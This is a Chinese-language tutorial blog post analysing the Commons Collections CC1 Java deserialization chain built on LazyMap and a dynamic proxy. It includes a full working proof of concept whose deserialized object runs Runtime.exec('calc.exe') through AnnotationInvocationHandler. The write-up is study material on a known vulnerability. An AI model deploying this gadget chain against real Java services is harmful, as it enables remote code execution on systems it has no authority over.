CC1-下

1. 前言

JDK版本需要时 8u71之前,尽管使用了动态代理

也就是说**LazyMap + 动态代理** == TransformedMap。。。。。

相比较于 TransformedMap 链相比,多出来的就是我们要了解 LazyMap ,还有动态代理

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap 是在写入元素的时候执行transform(),就是在put()数据,写入键值对的时候,会调用它的第二个,第三个参数的 transform() 函数。还有Map.Entry的方法,现在知道,至少setValue()能够了。

The Map put methods and Map.Entry  method are affected by this class

LazyMap是在其 get方法中执行的 factory.transform()方法。 为什么是这样的呢?

像P神说的: LazyMap 的作用就是懒加载,在 get 找不到值的时候,他就会调用 factory的transform 方法去获取一个值:

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在sun.reflect.annotation.AnnotationInvocationHandlerreadObject方法中并没有直接调用到Mapget方法。

那么我们就找一个类,什么类呢?,就是它会在自己readObject() 中调用到 Map.get() 方法,那么这个类就有潜能。

那么怎么去找呢?就是我们要分析的东西了

利用链

ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

2. 前置知识

2.1 LazyMap

看一下类注释。

翻译:

装饰另一个Map,来按照需求在map中创建对象;当 {@link #get(Object)} 这个方法被调用,且一个键不在map中,工厂将来创建对象,创建的对象将会作为需求keyvalue

/**
 * Decorates another <code>Map</code> to create objects in the map on demand.
 * <p>
 * When the {@link #get(Object)} method is called with a key that does not
 * exist in the map, the factory is used to create the object. The created
 * object will be added to the map using the requested key.
 * <p>
 * For instance:
 * <pre>
 * Factory factory = new Factory() {
 *     public Object create() {
 *         return new Date();
 *     }
 * }
 * Map lazy = Lazy.map(new HashMap(), factory);
 * Object obj = lazy.get("NOW");
 * </pre>
 *
 * After the above code is executed, <code>obj</code> will contain
 * a new <code>Date</code> instance. Furthermore, that <code>Date</code>
 * instance is mapped to the "NOW" key in the map.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/07 23:30:33 $
 * 
 * @author Stephen Colebourne
 * @author Paul Jack
 */
public class LazyMappublic class LazyMap
        extends AbstractMapDecorator
        implements Map, Serializable {

构造方法:

    /**
     * Factory method to create a lazily instantiated map.
     * 
     * @param map  the map to decorate, must not be null
     * @param factory  the factory to use, must not be null
     * @throws IllegalArgumentException if map or factory is null
     */
    public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
    }

当这个Map调用get()方法,而查找的key又不存在的情况下,这个工厂就会被用来创建新的对象,而且将被添加到这个map中。

TransformedMap的用法也差不多,都是用来修饰一个Map的,看个例子就懂了

    public static void main(String[] args)throws Exception {
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,new ConstantTransformer("adam"));
        Object object = outerMap.get("1");
        System.out.println(object);
    }

outerMap.get("1") 返回的就是 ConstantTransformer("adam") 的那个transform() 方法返回的值,然后这是固定的,就是adam 了。

写一个命令执行: 触发的时候在 get() ,get什么内容随意的,上面懂了的化,自然懂。

        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class,
                Object[].class }, new Object[] { null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[] { String.class },
                new String[] {
                    "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformerChain);
        Object object = outerMap.get("adam");

2.2 动态代理

之前学过了。我学了个shi,还是不会,

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

在这里插入图片描述

Proxy.newProxyInstance第一个参数ClassLoader,是要被代理类的ClassLoader。我们用默认的即可;第二个参数是我们要代理的对象集合第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻辑**。也就是我们具体是如何代理的。

之类贴一个 y4 师傅的一个劫持学习一下,然后把自己不会的也补了补

package aa;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

public class demo1 {
    public static void main(String[] args) {

        /*这个是我们要被代理的实例,传入代理类的构造方法中*/
        flag myflag = new GiveFlag();
        InvocationHandler handler = new InvocationFlag(myflag);
        // 这个差不读是固定的了
        
        /*这个就是我们的代理实例了,代理的类型是 flag类型*/
        flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]{flag.class},handler);
        getFlag.getFlag();
        getFlag.test();
    }
}

interface  flag{
    void getFlag();
    void test();
}

class GiveFlag implements  flag{

    @Override
    public void getFlag() {
        System.out.println("your flag flag{afam_s_flag}");
    }

    @Override
    public void test() {
        System.out.println("testestset");
    }
}

class InvocationFlag implements InvocationHandler{

    private flag secretflag;

    public InvocationFlag(flag myflag) {
        this.secretflag = myflag;
    }

    @Override
    public Object invoke(Object object, Method method, Object[] args) throws Throwable {
        System.out.println("====================================");
        System.out.println("开始代理了哦"); // 这个 Object object 用不上的,想要用对象的化,在构造方法中让他传参进来
        if(method.getName().equals("getFlag")){
            System.out.println("Hacker!! no flag");
            return  null;
        }
        System.out.println("正常的方法还是帮忙执行的呢");
        Object ret = method.invoke(secretflag,args); // 知道了这里 invoke  不能使用 上面的Object,要使用 构造函数传进来的实例对象
        return ret;
    }
}

在这里插入图片描述

补充动态代理重点:
public static void main(String[] args) {

    flag myflag = new GiveFlag();
    /*这个是我们要被代理的实例,传入代理类的构造方法中*/
    /* 这里才是决定我们使用哪一个代理类来帮助我们进行代理的,这个 InvovationFlag 是必须有 invoke() 方法,的当然,不是 new 对象也行,Class.newInstance() 这样的形式也行,只要这个类是有 invoke() 方法的就行, */
    InvocationHandler handler = new InvocationFlag(myflag);
    // 这个差不读是固定的了

    /*这个就是我们的代理实例了,代理的类型是 flag类型 , 我们走的 invoke() 方法就看 第三个参数的 handler 的,而handler是在上面决定的*/
    flag getFlag = (flag) Proxy.newProxyInstance(GiveFlag.class.getClassLoader(),new Class[]{flag.class},handler);
    
    getFlag.getFlag();
    getFlag.test();
}

用我们这个例子来说:

动态代理:需要实现类 ,然后需要代理类 ,代理类是需要我们自己写的,

然后三个参数,第一个参数不要用,要用实例的化,我们可以在我们的代理类中写一个 构造方法,然后获取到被代理类的实例,然后用invoke执行被代理类 的方法即可,

main()函数中,需要我们将被代理类对象实例当作参数传入代理类对象实例InvocationHandler handler = new InvocationFlag(myflag);。就是后面这个对象,决定了我们走 invoke() 的时候走的是哪一个 invoke()

然后再使用Proxy.newProxyInstance(,,第三个参数是我们的代理类对象实例,)获取一个真正代理做事情的对象

然后我们就用这个真正代理做事情的对象,调用任何被代理类对象实例的任何方法,都会先走代理类对象实例中写的invoke()方法,

如果我们想做什么坏手段,都可以在代理类对象实例中写的invoke()方法中坏事做尽

就是这里决定的。当然也可以这样:
在这里插入图片描述在这里插入图片描述

3. LazyMap 分析

3.1为什么要使用动态代理

之所以会用到动态代理,就是因为如果我们不用TransformedMap而用LazyMap的话,AnnotationInvocationHandlerreadObject里面并没有用到get(),但是在invoke()方法中却用到了:

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else if (var5.length != 0) {
        throw new AssertionError("Too many parameters for an annotation method");
    } else {
        byte var7 = -1;
        switch(var4.hashCode()) {
        case -1776922004:
            if (var4.equals("toString")) {
                var7 = 0;
            }
            break;
        case 147696667:
            if (var4.equals("hashCode")) {
                var7 = 1;
            }
            break;
        case 1444986633:
            if (var4.equals("annotationType")) {
                var7 = 2;
            }
        }

        switch(var7) {
        case 0:
            return this.toStringImpl();
        case 1:
            return this.hashCodeImpl();
        case 2:
            return this.type;
        default:
            Object var6 = this.memberValues.get(var4);
            if (var6 == null) {
                throw new IncompleteAnnotationException(this.type, var4);
            } else if (var6 instanceof ExceptionProxy) {
                throw ((ExceptionProxy)var6).generateException();
            } else {
                if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                    var6 = this.cloneArray(var6);
                }

                return var6;
            }
        }
    }
}

我们就用它的原生的invoke()就能够实现我们想要做的坏事了( get() --> transform()

3.2 漏洞触发点

先得到方法的名字参数的类型数组,再依次对方法名称的哈希值用**switch判断,如果不是equals,toString,hashCode和annotationType**的话,就会进入default

            default:
                Object var6 = this.memberValues.get(var4);

这个memberVallues属性,就是我们构造函数中传入的被装饰后的 Map ,调用了get()方法,然后我们get()一个不存在的属性,然后他就走transform()方法了。就触发了就,这个 memberValues我们也是可控的,可在其构造方法的时候传入

在这里插入图片描述

关键是反序列化怎么才能触发这个invoke()方法?注意到 AnnotationInvocationHandler类 继承实现InvocationHandler类,看到这里我恍然大悟,怪不得和动态代理有关。实际上对动态代理熟一点的话,我看到这个类的名字也就该想到了。

因此大致的思路也就有了,用AnnotationInvocationHandler对我们构造的Map进行代理,这样在readObject中,只要调用了委托对象的任何方法,都会进入AnnotationInvocationHandler#invoke方法中,从而触发了漏洞。

3.3 构造poc

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class test01 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class,
                Object[].class }, new Object[] { null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[] { String.class },
                new String[] {
                    "calc.exe" }),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        Map outerMap = LazyMap.decorate(innerMap,chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        // 这里只是包装了一下要被代理的类,
        Map proxymap = (Map) Proxy.newProxyInstance(
            Map.class.getClassLoader(),
            new Class[] {Map.class},
            handler
        );
        //这里我们决定了用哪一个类作为代理,我们这个对象是必须有 `invoke()` 方法的
        Object o = construct.newInstance(Retention.class,proxymap);
        byte[] bytes = serialize(o);
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
        ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
        // 这里是用 ByteArrayOutputStram()来盛放。
        ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
        oos.writeObject(o);
        return baos.toByteArray();
    }
}

在这里插入图片描述

这里我直接尝试序列化 proxyMap。但是在反序列化的时候没有成功,跟了一下,是动态代理没展现出来,

一个细节上的问题就是产生了代理proxyMap后,还需要再利用它来生成一个AnnotationInvocationHandler对象,

	 Object o = cons.newInstance(Retention.class, proxyMap);
        byte[] bytes = serialize(o);
        unserialize(bytes);

因为要序列化和反序列化的是AnnotationInvocationHandler对象。

实际上,经过构造后,只要调用了AnnotationInvocationHandlermemberValues(也就是我们的proxyMap)的任何方法,都会触发漏洞

4.从反序列化的角度来看poc

4.1跟着debug

我们最后是序列化AnnotationInvocationHandler 这个类,

入口时AnnotationInvocationHandler的readObject:(其实入口可长了,我跟了好久才跟到这个的,,)
在这里插入图片描述

AnnotationInvocationHandlermemberValues是一个LazyMap的类型就是哦我们刚开始传入的代理map
在这里插入图片描述

然后因为是代理proxymap,然后会走代理类的invoke()也就是AnnotationInvocationHandlerinvoke()
在这里插入图片描述

可见,对象和方法都没错的。走到了下面的 default。就调用了LazyMap#get()

在这里插入图片描述

后面的应该就简单了

在这里插入图片描述

跟着 Chaintransform 就走完了
在这里插入图片描述

这里的readObject又调用了this.memberValuesentrySet方法。如果这里的 memberValues 是个代理类,那

么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler (其实现了InvocationHandler,所以可以被设置为代理类的handler)。

4.2 利用链分析:

入口时AnnotationInvocationHandler的readObject

readObject 时,会触发AnnotationInvocationHandler#readObject方法
在这里插入图片描述

此时调用了this.memberValues.entrySet,而this.memberValues是之前构造好的proxy_map,由于这是一个被代理对象,所以调用其方法时,会去调用其的代理类,也就是handler,的invoke 方法。

在这里插入图片描述

然后AnnotationInvocationHandler#invoke()、此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get,从而触发后边的rce链。

在这里插入图片描述

4.3 唯一比较绕的点是

我们想走AnnotationInvocationHandlerinvoke(),然后走LazyMap#get()

那么我们就需要有一个被AnnotationInvocationHandler代理的对象,来执行一个方法,从而调用AnnotationInvocationHandlerinvvoke。那么找哪一个被代理的对象呢?

我们选的是 LazyMap类的outermap。然后让Map类的proxymap,代表AnnotationInvocationHandler来代理Lazymapoutermap

但是反序列化过程中又不好直接让outermap执行一个方法,所以我们还是让AnnotationInvocationHandler来帮忙,

AnnotationInvocationHandlerreadObject()中能让outermap执行方法,从而调用AnnotationInvocationHandlerinvoke()

看起来绕,我们实例化了两次AnnotationInvocationHandler。但其实,一次是作为代理对象使用的,一次是作为*反序列化入口使用的。

过程类似如下:

AnnotationInvocationHandler#readObject()—>被代理对象----->AnnotationInvocationHandler#invoke()

这两个AnnotationInvocationHandler不是同一个。

5. 版本问题

依旧只适用于 8u71之前。

6.参考:

https://paper.seebug.org/1242/#_6

https://y4tacker.blog.csdn.net/article/details/117448761

https://ego00.blog.csdn.net/article/details/119705730

《java安全漫谈11》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值